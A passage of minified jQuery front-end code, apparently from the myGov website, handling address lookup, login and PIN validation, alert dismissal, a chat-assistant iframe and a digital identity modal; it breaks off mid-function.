$parent=$(".date-fields");day=$parent.find("[data-date-day]").val(date[0]);month=$parent.find("[data-date-month]").val(date[1]);year=$parent.find("[data-date-year]").val(date[2]);formHelper.enableDate();}}$("#raetDiv-home").on("change","input",function(){if($("#same-as-residential").is(":checked")){mapHomePostal();}});$("#same-as-residential").on("change",function(){if($("#same-as-residential").is(":checked")){mapHomePostal();}else{$("#postal-section input").val("");}});$("#same-as-residential").on("click",function(){$("#postal-section").toggle();});$("#raetDiv-home, #raetDiv-postal").on("blur keyup","input",function(){resetDate();});var homeSectionBlank=function(){var blank=true;$("#raetDiv-home input").each(function(){if(!blank){return blank;}var input=$.trim($(this).val());blank=!input;});return blank;};var postalSectionBlank=function(){var blank=true;$("#raetDiv-postal input").each(function(){if(!blank){return blank;}var input=$.trim($(this).val());blank=!input;});return blank;};var resetDate=function(){var homeBlank=homeSectionBlank();var postalBlank=postalSectionBlank();var blank=homeBlank&&postalBlank;blank?formHelper.disableDate():formHelper.enableDate();};var mapHomePostal=function(){$("#delivery-address-line-1-singleLine").val($("#residential-address-line-1-singleLine").val());$("#postal-address").val($("#home-address").val());$("#postal-suburb").val($("#home-suburb").val());$("#postal-postcode").val($("#home-postcode").val());$("#postal-state").val($("#home-state").val());};function raetToggleText(element,name){if($("#raetDiv-"+name).attr("data-view")==="multi"){element.text("Find my "+name+" address");}if($("#raetDiv-"+name).attr("data-view")==="single"){element.text("I can't find my "+name+" address");}}function raetToggleView(name){$(".raet-"+name+"-anchor").on("click",function(){$("#raetDiv-"+name).attr("data-view",function(index,attr){return attr=="multi"?"single":"multi";});raetToggleText($(this),name);if($("#raetDiv-"+name).attr("data-view")==="multi"){raetAddress("multi",name);}if($("#raetDiv-"+name).attr("data-view")==="single"){raetAddress("single",name);}$(this).attr("aria-pressed","true").attr("aria-live","polite").attr("aria-atomic","true");$("#raetDiv-"+name).find("input")[0].focus();resetDate();});}raetToggleView("home");raetToggleView("postal");function removeContainers(root){if(root){$("> .raet-container",$(root)).remove();}}function raetAddress(view,name){var rootContainer=$("#raetDiv-"+name);if(rootContainer){removeContainers(rootContainer);var config={webService:"prod_secure",destination:document.getElementById("raetDiv-"+name),fields:{streetAddress:document.getElementById(name+"-address"),suburb:document.getElementById(name+"-suburb"),postcode:document.getElementById(name+"-postcode"),state:document.getElementById(name+"-state")},labels:{singleLine:"Find address"}};if(view==="single"){config.type="singleLine";}if(view==="multi"){config.integration=true;}Raet(config);}}function raetInit(name){$("#"+name+"-output").each(function(){var allEmpty=true;$(this).find('input[type="text"]').each(function(){if(this.value.trim().length>0){allEmpty=false;$("#raetDiv-"+name).attr("data-view","multi");raetAddress("multi",name);raetToggleText($(".raet-"+name+"-anchor"),name);return false;}});if(allEmpty===true){$("#raetDiv-"+name).attr("data-view","single");raetAddress("single",name);raetToggleText($(".raet-"+name+"-anchor"),name);}});}raetInit("home");raetInit("postal");});})(jQuery);$(document).ready(function(){$("[data-identity-expanded]").on("click",function(){$(this).attr("aria-expanded",function(name,value){return value==="false"?"true":"false";});$(".identity-hub-info-text").slideToggle();clearArrows();if($(this).attr("aria-expanded")==="true"){$("#find-out-more-digital-identity").removeClass("link-arrow-down");$("#find-out-more-digital-identity").addClass("link-arrow-up");}else{$("#find-out-more-digital-identity").removeClass("link-arrow-up");$("#find-out-more-digital-identity").addClass("link-arrow-down");}});function clearArrows(){$("#find-out-more-digital-identity").removeClass("link-arrow-down");$("#find-out-more-digital-identity").removeClass("link-arrow-up");}$("[data-login-username]").on("blur",function(){if($(this).val().trim()!==""){var message="Enter a valid email address, mobile number or myGov username. A valid myGov username is 2 letters, followed by 6 numbers.";if(formHelper.isEmailValid($(this).val())||(/^[A-z]{2}[0-9]{6}$/g).test($(this).val())||formHelper.isMobileValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),message,"p");}}else{formHelper.setError($(this),"Enter a username or email address","p");}});$("#mygov-beta").on("click",function(e){var action=dynaTrace.enterAction("myGovBetaNav","click");dynaTrace.leaveAction(action);});});window.addEventListener("hashchange",function(event){var element=document.getElementById(location.hash.substring(1));if(element){if(!/^(?:a|select|input|button|textarea)$/i.test(element.tagName)){element.tabIndex=-1;}element.focus();}},false);$("[data-poro-input]").on("blur",function(){if($(this).val()!==""){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){}else{var pattern=new RegExp($(this).attr("data-pattern"));var validPattern=pattern.test($(this).val());if(!validPattern){var patternMsg=$(this).attr("data-pattern-msg");var msg="Enter a valid value";msg=patternMsg!==undefined?patternMsg:msg;formHelper.setError($(this),msg,"p");}else{formHelper.clearError($(this));}}}});$("[data-poro-input-mandatory]").on("blur",function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){}else{if(formHelper.isNotEmpty($(this).val())){if($(this).attr("data-poro-input")===undefined){formHelper.clearError($(this));}}else{formHelper.setError($(this),"Require a value","p");}}});$("[data-poro-checkbox-mandatory]").on("blur",function(){if($(this).is(":checked")){formHelper.clearError($(this));}else{formHelper.setError($(this),"Must be selected","p");}});$("[data-helptext-toggle]").on("click",function(){var attr=$(this).attr("aria-expanded");attr=attr==="false"?"true":"false";$(this).attr("aria-expanded",attr);$(this).attr("tabindex",tabindex);var $ariaControl=$("#"+$(this).attr("aria-controls"));var tabindex=$ariaControl.attr("tabindex");tabindex=tabindex==="-1"?"0":"-1";$ariaControl.attr("tabindex",tabindex);$ariaControl.toggle();});$("[button-poro-cancel]").on("click",function(e){e.preventDefault();});$("[data-helptext-toggle]").on("keypress",function(e){if(e.which===32){$(this).trigger("click");}if(e.which===9){e.preventDefault();}});$("[data-number--only]").on("blur",function(e){if(formHelper.isNotEmpty($(this).val())&&formHelper.chkNumberOnly($(this))){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid number","p");}});$("[data-number--optional]").on("blur",function(e){if(formHelper.chkNumberOnly($(this))){formHelper.clearError($(this));}else{if(formHelper.isNotEmpty($(this).val())){formHelper.setError($(this),"Enter a valid number","p");}}});$("[data-medicare--input]").on("blur",function(e){if(formHelper.chkNumberOnly($(this))&&$(this).val().length===10){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid medicare number","p");}});$(document).ready(function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){$("input[name*=clkCRN]").addClass("is-visuallyhidden").val("000000000Z");$("button[name=_eventId_next]").text("Continue");}var keyup_checker=function(evt){var stroke,_ref;stroke=(_ref=evt.which)!=null?_ref:evt.keyCode;this.search_field_scale();switch(stroke){case 8:if(this.is_multiple&&this.backstroke_length<1&&this.choices_count()>0){return this.keydown_backstroke();}else{if(!this.pending_backstroke){this.result_clear_highlight();return this.results_search();}}break;case 13:evt.preventDefault();evt.stopPropagation();if(this.results_showing){return this.result_select(evt);}else{this.results_search();}break;case 27:if(this.results_showing){this.results_hide();}return true;case 9:case 38:case 40:case 16:case 91:case 17:case 18:break;default:return this.results_search();}};$(".chosen-select-man, .chosen-select").each(function(i,select){var $select=$(select);var container=$select.chosen($select.hasClass(".chosen-select")?{allow_single_deselect:true}:{});var data=container.data("chosen");if(data){data.keyup_checker=keyup_checker;data.container.on("keydown",function(e){if(e.key==="Enter"||e.keyCode===13){e.preventDefault();e.stopPropagation();}});var showing=false;data.container.focusin(function(e){if(!showing){data.dropdown.css({left:"0",bottom:"0",overflow:"hidden","z-index":"0"});}});$select.on("chosen:showing_dropdown",function(){showing=true;data.dropdown.css({left:"",bottom:"",overflow:"","z-index":"1"});});$select.on("chosen:hiding_dropdown",function(){showing=false;data.dropdown.css({left:"0",bottom:"0",overflow:"hidden","z-index":"0"});});}});});$(document).ready(function(){var uPIN={init:function(){uPIN.cacheDom();uPIN.onBlur(uPIN.$newPin);uPIN.onBlur(uPIN.$reenterPin);uPIN.onKeyup(uPIN.$newPin);uPIN.onKeyup(uPIN.$reenterPin);$(uPIN.$currentPin).on("blur",function(){console.log(uPIN.$currentPin);if(!uPIN.isEmpty(this)){return;}});$(uPIN.$newPin).on("blur",function(){if(uPIN.$reenterPin.val()!=""){uPIN.$reenterPin.trigger("keyup");}});uPIN.$Pin=$("[data-pin]");$(uPIN.$currentPin).on("blur",function(){if(!uPIN.isEmpty(this)){return;}});},cacheDom:function(){uPIN.$currentPin=$("[data-current-pin]");uPIN.$newPin=$("[data-new-pin]");uPIN.$reenterPin=$("[data-reenter-pin]");},isEmpty:function(element){if(formHelper.isEmpty(element.value)){formHelper.setError($(element),"Enter a PIN","p");return false;}else{formHelper.clearError($(element));return true;}},onBlur:function(element){$(element).on("blur",function(){uPIN.validate(this);});},onKeyup:function(element){$(element).on("keyup",function(e){if(e.which===9){return;}if(e.which===16){return;}uPIN.match(this);});},match:function(element){var successMsg,errorMsg,isSame;if(element.attributes.hasOwnProperty("data-reenter-pin")){isSame=formHelper.isTypingSame(uPIN.$reenterPin,uPIN.$newPin);}if(isSame!==undefined){if(isSame){successMsg="Your PINs are the same";errorMsg="";}else{errorMsg="The PIN you've re-entered doesn't match your new PIN";successMsg="";}if(formHelper.isNotEmpty(uPIN.$reenterPin.val())){(errorMsg!=="")?formHelper.setError(uPIN.$reenterPin,errorMsg,"p"):formHelper.setSuccess(uPIN.$reenterPin,successMsg);}}},maxChars:function(element){if(element.value.length!==4){formHelper.setError($(element),"Your PIN must contain 4 numbers","p");return false;}else{formHelper.clearError($(element));return true;}},notAscending:function(element){if(element.value.length===4&&"0123456789".indexOf(element.value)!=-1){formHelper.setError($(element),"Your PIN can't contain 4 consecutive numbers","p");return false;}else{formHelper.clearError($(element));return true;}},notDescending:function(element){if(element.value.length===4&&"9876543210".indexOf(element.value)!=-1){formHelper.setError($(element),"Your PIN can't contain 4 consecutive numbers","p");return false;}else{formHelper.clearError($(element));return true;}},numericOnly:function(element){if(!(/^\d*$/g).test(element.value)){formHelper.setError($(element),"Your PIN must contain 4 numbers","p");return false;}else{formHelper.clearError($(element));return true;}},sameDigits:function(element){if((/^([0-9])\1{3}$/g).test(element.value)){formHelper.setError($(element),"Your PIN can't contain 4 of the same number","p");return false;}else{formHelper.clearError($(element));return true;}},validate:function(element){if(!uPIN.isEmpty(element)){return;}if(!uPIN.maxChars(element)){return;}if(!uPIN.numericOnly(element)){return;}if(!uPIN.sameDigits(element)){return;}if(!uPIN.notAscending(element)){return;}if(!uPIN.notDescending(element)){return;}if(!uPIN.match(element)){return;}}};uPIN.init();});$(document).ready(function(){var usernameField=$("[data-username]");function validateUsername($inputField){var unameval=$inputField.val(),unameMatch=unameval?formHelper.isUserIdValid(unameval):false,emailMatch=unameval?formHelper.isEmailValid(unameval):false,mobileMatch=unameval?formHelper.isMobileValid(unameval):false;if(unameMatch||emailMatch||mobileMatch){formHelper.clearError($inputField);if(mobileMatch){formHelper.setInfo($inputField,'You must have this <a href="/mygov/content/html/help.html#MobileNumber">mobile number</a> set up as a username in your Account settings.');}else{formHelper.clearInfo($inputField);}}else{formHelper.clearInfo($inputField);formHelper.setError($inputField,"Enter a valid email address, mobile number or myGov username. A valid myGov username is 2 letters, followed by 6 numbers.","p");}}usernameField.on("focusout",function(){if(!this.hasAttribute("dont-validate")){validateUsername($(this));}});});$(document).ready(function(){var usernameEmailField=$("[data-username-email]");function validateUsernameEmail($inputField){var unameval=$inputField.val(),emailMatch=unameval?formHelper.isEmailValid(unameval):false;if(emailMatch){formHelper.clearError($inputField);}else{formHelper.clearInfo($inputField);formHelper.setError($inputField,"Enter a valid email","p");}}usernameEmailField.on("blur",function(){if(!this.hasAttribute("dont-validate")){validateUsernameEmail($(this));}});});(function($){$(":radio[data-apdm]").on("change",function(){var selected=this.value;switch(selected){case"true":$(".button-main").replaceWith('<button type="submit" class="button-main button">Next</button>');break;case"false":$(".button-main").replaceWith('<a href="'+$("#apdmLink").val()+'" role="button" class="button-main button">Next</a>');break;default:}});})(jQuery);(function($){$(window).on("resize",function(){var $expand=$(".outage .expand");if($expand.length&&!$expand.hasClass("expand--expanded")){var content=$(".outage__content").get(0);if(content&&content.offsetWidth>=content.scrollWidth){$expand.attr({"hidden":true,"aria-hidden":true});}else{if($expand.attr("hidden")){$expand.removeAttr("hidden aria-hidden");}}}}).resize();$(".outage").on("click",".expand",function(){$(this).toggleClass("expand--expanded").next(".outage__content").toggleClass("outage__content--expanded");});$("[data-dismiss]").each(function(){$(this).append('<button class="dismiss"><span class="is-visuallyhidden">Dismiss</span></button>');});$("[data-dismiss]").on("click",".dismiss",function(e){e.preventDefault();$(this).parent().fadeOut("fast",function(){$(this).remove();});});$("[data-dismiss-otp-alert]").on("click",".dismiss",function(){$.getJSON("/mygov/dismiss/sio");});$("[data-dismiss-inbox-alert]").on("click",".dismiss",function(){$.getJSON("/mygov/dismiss-inbox-alert");});$("[data-banner-digiId]").on("click",".data-banner-dismiss-button",function(e){e.preventDefault();$("[data-banner-digiId]").fadeOut("fast",function(){$(this).remove();});$.getJSON("/mygov/dismiss/digiId");});$("[data-alert-digiId]").on("click",".data-alert-dismiss-button",function(e){e.preventDefault();$("[data-alert-digiId]").fadeOut("fast",function(){$(this).remove();});$.getJSON("/mygov/dismiss/digiId");});})(jQuery);(function($){$(document).ready(function(){function wait(seconds,formId){setTimeout(function(){submitForm(formId);},seconds*1000);}function submitForm(formId){try{document.getElementById(formId).submit();}catch(err){}}wait(10,"oidcRedirForm");wait(2,"redirForm");});})(jQuery);$("[data-home-welcome-message]").each(function(){$(this).text("Good "+getGreetingTime(moment())+" ");});function getGreetingTime(m){var g=null;if(!m||!m.isValid()){return;}var split_afternoon=12;var split_evening=17;var currentHour=parseFloat(m.format("HH"));if(currentHour>=split_afternoon&&currentHour<=split_evening){g="afternoon";}else{if(currentHour>=split_evening){g="evening";}else{g="morning";}}return g;}$(function(){var upins=$("#upin-login, #upin-input, #upin-confirm");if(global.getAndroidVersion()<4.3){$("fieldset.pin-fields, div.pin-fields").removeClass("pin-fields");upins.attr({type:"password",pattern:"[0-9]*",inputmode:"numeric"}).val("").focus();}else{upins.val("").pincodeInput({hidedigits:true,inputs:4});var upinData=upins.data("plugin_pincodeInput");if(upinData){}}if(global.getUrlParams().event==="close"){$("a.button-back-home").text("Close").removeClass("button-back").click(function(e){e.preventDefault();window.close();});}});var initPinToggle=function(){$(".showPin").on("click",function(){var $this=$(this),$inputType,$passwordInput=$this.siblings("input"),relatedInputStr="",$pinInput=$("#pincode-input");$inputType=$passwordInput.attr("type");if($pinInput.hasClass("conceal")){setPinHide($this);}else{setPinShow($this);}});};var setPinShow=function($this){var $pinInput=$("#pincode-input");$showpinhelptext="Note: this will visually expose your pin on the screen.";$showhelp=$("#show-hide-helpmsg");$pinInput.removeClass("reveal");$pinInput.addClass("conceal");$this.attr("aria-label","Show pin as plain text.").attr("aria-describedby","show-hide-helpmsg").html("<img id='show-hide-icon' src='/mygov/content/mgv2//icons/feather-eye.svg' alt='' /> Show");$showhelp.replaceWith("<p class='is-visuallyhidden' id='show-hide-helpmsg'>"+$showpinhelptext+"</p>");};var setPinHide=function($this){var $pinInput=$("#pincode-input");$pinInput.removeClass("conceal");$pinInput.addClass("reveal");var $hidepinhelptext="Note: this will visually stop exposing your pin on the screen.";$hidehelp=$("#show-hide-helpmsg");$this.attr("aria-label","Hide pin").attr("aria-describedby","show-hide-helpmsg").html("<img id='show-hide-icon' src='/mygov/content/mgv2//icons/feather-eye-off.svg' alt=''  /> Hide");$hidehelp.replaceWith("<p class='is-visuallyhidden' id='show-hide-helpmsg'>"+$hidepinhelptext+"</p>");};$("body").on("click keydown","[data-idp-help-toggle]",function(e){var codes={ENTER:13};if(e.type==="click"||e.keyCode===codes.ENTER){var attr=$(this).attr("aria-expanded");attr=attr==="false"?"true":"false";$(this).attr("aria-expanded",attr);$(this).attr("tabindex",tabindex);var $ariaControl=$("#"+$(this).attr("aria-controls"));var tabindex=$ariaControl.attr("tabindex");$ariaControl.attr("tabindex",tabindex);if($ariaControl.css("display")==="flex"){$ariaControl.css("display","none");}else{$ariaControl.css("display","flex");}}});$(function(){var additionalSelectors="";var fields=$("[autofocus]");if(additionalSelectors){fields.add(additionalSelectors);}var focusField=fields[0];if(focusField){focusField.setAttribute("dont-validate","");global.oneUseEvent(focusField,"keyup",function(){focusField.removeAttribute("dont-validate");});}});var va_isMaximised=false;var va_isOpen=false;var va_isMobile=false;var va_pushTimeout;var va_chatStarted=false;var titleBarTitle="Ask a question";var headingTitle="Ask a question";function getMobileHeader(){var mobileLargeClass="",vaOpenClass="";if(va_isOpen){mobileLargeClass=' class="va_mobileLarge" ';vaOpenClass=" va_open";}var mobileStyle='<div id="va_mobileBar" style="border-top: #d7ea6a 5px solid"'+mobileLargeClass+' aria-live="polite" >'+'<header class="va_header">'+'<h2 class="va_chatTitle_mob" aria-live="polite" id="va_chatTitle">'+headingTitle+"</h2>"+'<div role="button" style="border: 0; margin: 0;" id="va_mobileToggle" aria-live="polite" class="va_mobileToggle'+vaOpenClass+'" title="'+getAltText("va_toggleIcon")+'" aria-label="'+getAltText("va_mobileToggle")+'"></div>'+"</header>"+"</div>";return mobileStyle;}function getDesktopHeader(){var rightMargin=calcRightMargin(),desktopHeaderSize="style='right:"+rightMargin+"'",vaExpanded="",resizeIconState="",resizeIconClass="";if(va_isOpen){vaExpanded=" va_expanded";resizeIconState='style="display: block;"';if(va_isMaximised){desktopHeaderSize='style="height:490px; width:600px; right:'+rightMargin+';"';resizeIconClass=" va_large";}else{desktopHeaderSize='style="height:455px; width:350px; right:'+rightMargin+';"';}}var desktopStyle='<div id="va_chatHeader" '+desktopHeaderSize+' aria-live="polite" title="'+titleBarTitle+'" aria-label="'+titleBarTitle+'">'+'<div class="va_chatBorder"></div>'+'<header class="va_header va_clearfix" style="box-shadow:0 0 3px rgba(0,0,0,.3)">'+'<h2 class="va_chatTitle" id="va_chatTitle" aria-live="polite" >'+headingTitle+"</h2>"+'<div id="va_resizeIcon" class="va_resizeIcon'+resizeIconClass+'" '+resizeIconState+' tabindex="0" aria-live="polite" title="'+getAltText("va_resizeIcon")+'" aria-label="'+getAltText("va_resizeIcon")+'" style="display: none"></div>'+'<div id="va_toggleIcon" class="va_toggleIcon'+vaExpanded+'" tabindex="0" aria-live="polite" title="'+getAltText("va_toggleIcon")+'" aria-label="'+getAltText("va_toggleIcon")+'"></div>'+"</header>"+"</div>";return desktopStyle;}function getAltText(element){if(element=="va_toggleIcon"||element=="va_mobileToggle"){if(va_isOpen){return"Hide "+titleBarTitle;}else{return"Open "+titleBarTitle;}}else{if(element=="va_resizeIcon"){if(va_isMaximised){return"View "+titleBarTitle+" in a smaller window";}else{return"View "+titleBarTitle+" in a larger window";}}}}function setAltText(element){var resizeAlt=getAltText(element);jQuery("#"+element).prop("title",resizeAlt);jQuery("#"+element).attr("aria-label",resizeAlt);}function calcRightMargin(){var windowWidth=jQuery(window).width(),maxContainerWidth=960,rightMargin="2%";return rightMargin;}function insertDiv(){var rightMargin=calcRightMargin(),chatAnchor=document.createElement("div"),appendStyle=va_isMobile==true?getMobileHeader():getDesktopHeader();chatAnchor.id="va_chatAnchor";chatAnchor.className="va_chatAnchor";chatAnchor.zIndex=99999;chatAnchor.setAttribute("role","complementary");chatAnchor.setAttribute("aria-labelledBy","va_chatTitle");document.body.appendChild(chatAnchor);jQuery("#va_chatAnchor").append(appendStyle);}function insertIframe(){var iframe=document.createElement("iframe");iframe.id=iframe.name="va_iframe";iframe.className="va_iframe";iframe.style.zIndex=9999;iframe.style.background="#E5E5E5";iframe.style.right=calcRightMargin();iframe.style.overflow="hidden";jQuery("#va_chatAnchor").append(iframe);}function determineContext(){return"";}function insertIframeSrc(){va_chatStarted=true;var context=determineContext();var source=setDAsource();setIFrameSrc(source);}function setIFrameSrc(source){if(typeof source!="undefined"&&source!=""){jQuery.when(jQuery("#va_iframe").attr("aria-live","assertive").attr("aria-relevant","additions").attr("src",source+"#/wea")).done(function(){return true;});}}function sendGoogleAnalyltics(event){try{if(ga){var context=determineContext();ga("send","event","Digital Assistant",event,context+" VA");}}catch(error){}}function addTimer(){va_pushTimeout=setTimeout(function(){sendGoogleAnalyltics("Timeout");postMessageToIframe("timeout");va_pushTimeout=null;if(!va_isMobile){jQuery("#va_chatHeader").click();}else{jQuery("#va_mobileToggle").click();}},60000);}function disableBGScrolling(){document.body.style.overflow="hidden";document.body.style.position="fixed";}function enableBGScrolling(){document.body.style.overflow="";document.body.style.position="";}function toggleVAMobile(){var toggleWidth=va_isOpen?"0px":"100%",toggleHeight=va_isOpen?"0px":(jQuery(window).height()-50);jQuery("#va_iframe").css({width:toggleWidth,height:toggleHeight,right:"0px",top:"50px"});jQuery("#va_mobileBar").toggleClass("va_mobileLarge");jQuery("#va_mobileToggle").toggleClass("va_open");va_isOpen=!va_isOpen;setAltText("va_mobileToggle");if(va_isOpen){postMessageToIframe({"type":0,"query":{"text":[],"id":"Welcome"}});disableBGScrolling();}else{enableBGScrolling();}}function addOnClickMobile(){jQuery("#va_mobileToggle").on("click",function(){sendGoogleAnalyltics("Mobile click");if(va_pushTimeout){clearTimeout(va_pushTimeout);va_pushTimeout=null;}if(!va_chatStarted){insertIframeSrc();}toggleVAMobile();});}function isWindowMobile(){if(typeof window.matchMedia!=="undefined"){return window.matchMedia("screen and (max-width: 599px), screen and (max-height: 490px)").matches;}return jQuery(window).width()<600;}function responsiveResize(){var isNewScreenMobile=isWindowMobile();var responsiveHeight=0,responsiveWidth=0,responsiveRight="",responsiveTop="",responsiveBottom="",rightMargin=calcRightMargin();if(isNewScreenMobile){if(!va_isMobile){jQuery("#va_chatHeader").replaceWith(getMobileHeader());jQuery("#va_iframe").css("display","");addOnClickMobile();}if(va_isOpen){disableBGScrolling();responsiveHeight=jQuery(window).height()-50;responsiveWidth=jQuery(window).width();responsiveRight="0px";responsiveTop="50px";}}else{enableBGScrolling();if(va_isMobile){jQuery("#va_mobileBar").replaceWith(getDesktopHeader());addOnClickDesktop();addOnResize();}else{jQuery("#va_chatHeader").css({right:rightMargin});}if(va_isOpen){responsiveBottom="0px";if(va_isMaximised){responsiveHeight=435;responsiveWidth=600;}else{responsiveHeight=400;responsiveWidth=350;}}responsiveRight=rightMargin;}jQuery("#va_iframe").css({height:responsiveHeight,width:responsiveWidth,right:responsiveRight,top:responsiveTop,bottom:responsiveBottom});va_isMobile=isNewScreenMobile;}function toggleVADesktop(){var ariaHidden=va_isOpen?"true":"false";if(va_isMaximised){var toggleHeight=va_isOpen?"0px":"435px",toggleWidth=va_isOpen?"0px":"600px",headerHeight=va_isOpen?"55px":"490px",headerWidth=va_isOpen?"350px":"600px";}else{var toggleHeight=va_isOpen?"0px":"400px",toggleWidth=va_isOpen?"0px":"350px",headerHeight=va_isOpen?"55px":"455px",headerWidth="350px";}if(!va_isOpen){if(va_isMaximised){jQuery("#va_iframe").animate({height:toggleHeight,width:toggleWidth});if(!jQuery("#va_resizeIcon").hasClass("va_large")){jQuery("#va_resizeIcon").addClass("va_large");}}else{jQuery("#va_iframe").animate({height:toggleHeight});jQuery("#va_iframe").css({width:toggleWidth});}jQuery("#va_iframe").css("display","inline-block");postMessageToIframe({"type":0,"query":{"text":[],"id":"Welcome"}});}else{jQuery("#va_iframe").animate({height:toggleHeight,width:"350px"});setTimeout(function(){jQuery("#va_iframe").css({width:toggleWidth,display:"none"});},500);}jQuery("#va_chatHeader").animate({height:headerHeight,width:headerWidth},{duration:400,queue:false});jQuery(".va_chatBorder").animate({width:headerWidth},{duration:400,queue:false});jQuery("#va_resizeIcon").toggle();jQuery("#va_toggleIcon").toggleClass("va_expanded");jQuery("#va_skipToConversation").toggleClass("active");jQuery("#va_skipToConversation").attr("aria-hidden",ariaHidden);postMessageToIframe("setAriaHiddenTags"+ariaHidden);va_isOpen=!va_isOpen;setAltText("va_toggleIcon");return true;}function addOnClickDesktop(){jQuery("#va_chatHeader").on("click",function(e){sendGoogleAnalyltics("Desktop click");if(va_pushTimeout){clearTimeout(va_pushTimeout);va_pushTimeout=null;}if(!va_chatStarted){insertIframeSrc();}toggleVADesktop();return false;});jQuery("#va_toggleIcon").bind("keyup",function(e){if(e.keyCode===13){jQuery("#va_chatHeader").click();}});}function addOnResize(){jQuery("#va_resizeIcon").on("click",function(e){resizeVA();e.stopPropagation();return false;});jQuery("#va_resizeIcon").bind("keyup",function(e){if(e.keyCode===13){jQuery("#va_resizeIcon").click();e.stopPropagation();}});}function resizeVA(){var resizeWidth=va_isMaximised?"350px":"600px",resizeHeight=va_isMaximised?"400px":"435px",resizeHeaderHeight=va_isMaximised?"455px":"490px",resizeHeaderWidth=va_isMaximised?"350px":"600px";jQuery("#va_chatHeader").animate({width:resizeHeaderWidth,height:resizeHeaderHeight},{duration:400,queue:false});jQuery(".va_chatBorder").animate({width:resizeHeaderWidth},{duration:400,queue:false});jQuery("#va_iframe").animate({height:resizeHeight,width:resizeWidth},{duration:400,queue:false});jQuery("#va_resizeIcon").toggleClass("va_large");va_isMaximised=!va_isMaximised;setAltText("va_resizeIcon");}function addOnBackwardsTabbing(){jQuery("#va_skipToConversation").unbind("keydown");jQuery("#va_skipToConversation").bind("keydown",function(e){if(e.shiftKey&&e.keyCode===9){postMessageToIframe("loopFocusBackward");e.preventDefault();}else{if(e.keyCode===13){postMessageToIframe("skiptoConversation");e.stopPropagation();}}});}function loopFocusBackwardWithError(){jQuery("#va_resizeIcon").bind("keydown",function(e){if(e.shiftKey&&e.keyCode===9){postMessageToIframe("loopFocusBackwardWithError");e.preventDefault();}});}function addSkipToConversationTabListener(){jQuery("#va_skipToConversation").unbind("keydown");jQuery("#va_skipToConversation").bind("keydown",function(e){if(e.shiftKey&&e.keyCode===9){postMessageToIframe("loopFocusBackwardOptionButton");e.stopPropagation();}else{if(e.keyCode===13){postMessageToIframe("skiptoConversation");e.stopPropagation();}}});}function addOnSkipToConversation(){jQuery("#va_skipToConversation").on("click",function(e){postMessageToIframe("skiptoConversation");e.stopPropagation();return false;});addOnBackwardsTabbing();}function addSkipToBot(){var skipLinks=jQuery(".skip-links");var skipLinkClass="";if(skipLinks.length==0){skipLinks=jQuery(".uikit-skip-link");skipLinkClass='class="uikit-skip-link__link"';}skipLinks.append("<a "+skipLinkClass+' id="va_skipToBot" href="#">Skip to '+titleBarTitle+"</a>");jQuery("#va_skipToBot").on("click",function(e){if(!va_isMobile){jQuery("#va_toggleIcon").focus();}else{jQuery("#va_mobileToggle").click();}e.stopPropagation();return false;});}function hideSkipToConversation(){jQuery("#va_skipToConversation").hide();jQuery("#va_skipToConversation").attr("aria-hidden","true");}function skipToSkipToConversation(){jQuery("#va_skipToConversation").focus();}function skipToResizeIcon(){jQuery("#va_resizeIcon").focus();}function postMessageToIframe(message){window.parent.document.getElementById("va_iframe").contentWindow.postMessage(message,"*");}function addListenerForIframe(){window.addEventListener("message",function(e){if(e.data&&e.data.type=="error"){e.stopPropagation();jQuery("#va_chatAnchor").hide();}else{if(e.data&&e.data.type=="interaction"){e.stopPropagation();recordBotInteraction(new Date());}else{if(e.data&&e.data.type=="ready"){e.stopPropagation();if(va_isOpen){postMessageToIframe({"type":0,"query":{"text":[],"id":"Welcome"}});}jQuery("#va_chatAnchor").show();}else{if(e.data&&e.data.type=="reload"){e.stopPropagation();if(va_isOpen){if(va_isMobile){toggleVAMobile();}else{toggleVADesktop();}}}else{if(e.data=="loopFocusForward"){skipToSkipToConversation();e.stopPropagation();}else{if(e.data=="loopFocusForwardError"){setTimeout(function(){skipToResizeIcon();},100);e.stopPropagation();}else{if(e.data=="addOnBackwardsTabbing"){addOnBackwardsTabbing();}else{if(e.data=="loopFocusForwardOptionButton"){skipToSkipToConversation();addSkipToConversationTabListener();}else{if(e.data=="errorDisplayed"){hideSkipToConversation();loopFocusBackwardWithError();}else{if(e.data=="textboxFocus"){setTimeout(function(){scrollPageToBottom();},100);}}}}}}}}}}});}function addDigitalAssistant(){va_isMobile=isWindowMobile();insertDiv();insertIframe();insertIframeSrc();addOnResize();addSkipToBot();addOnSkipToConversation();addListenerForIframe();addOnClickDesktop();addOnClickMobile();window.addEventListener("resize",responsiveResize);}function scrollPageToBottom(){window.scrollTo(0,document.body.scrollHeight);}function isIE(){var myNav=navigator.userAgent.toLowerCase();return(myNav.indexOf("msie")!=-1)?parseInt(myNav.split("msie")[1]):false;}function newShowIdentityModal(){const modalBackground=document.getElementById("digital-id-modal-background");modalBackground.classList.remove("new-hide");modalBackground.classList.add("new-fade");modalBackground.classList.add("new-show");const modalContent=document.getElementById("new-modal-content");modalContent.setAttribute("open","true");modalContent.classList.remove("new-hide");modalContent.classList.add("new-slide-in");modalContent.setAttribute("aria-modal","true");modalContent.setAttribute("aria-expanded","true");modalContent.setAttribute("aria-hidden","false");document.getElementById("first-dismiss").focus();document.getElementById("identity-display-form").addEventListener("submit",ignoreSubmit);document.getElementById("digital-id-modal-background").addEventListener("click",newHideIdentityModal);document.addEventListener("keydown",handleKeyboardInput);if(window.dynaTrace){var action=window.dynaTrace.enterAction("showIdentityModal","click");window.dynaTrace.leaveAction(action);}}function ignoreSubmit(event){event.preventDefault();return false;}function handleKeyboardInput(trigger){if(trigger.code){switch(trigger.code){case"Escape":keyboardDismiss();break;case"Tab":const primaryModal=document.getElementById("new-modal-content");const secondaryModal=document.getElementById("secondary-identity-modal");if(primaryModal&&primaryModal.getAttribute("open")==="true"){trapFocusPrimary(trigger);}if(secondaryModal&&secondaryModal.getAttribute("open")==="true"){trapFocusSecondary(trigger);}break;case"Enter":if(document.activeElement===document.getElementById("decline-digital-identity")){trigger.preventDefault();document.getElementById("decline-digital-identity").checked=true;}if(document.activeElement===document.getElementById("confirm-digital-identity")){trigger.preventDefault();document.getElementById("confirm-digital-identity").checked=true;}document.getElementById("identity-first-confirm-button").disabled=false;break;}}}function trapFocusPrimary(event){var 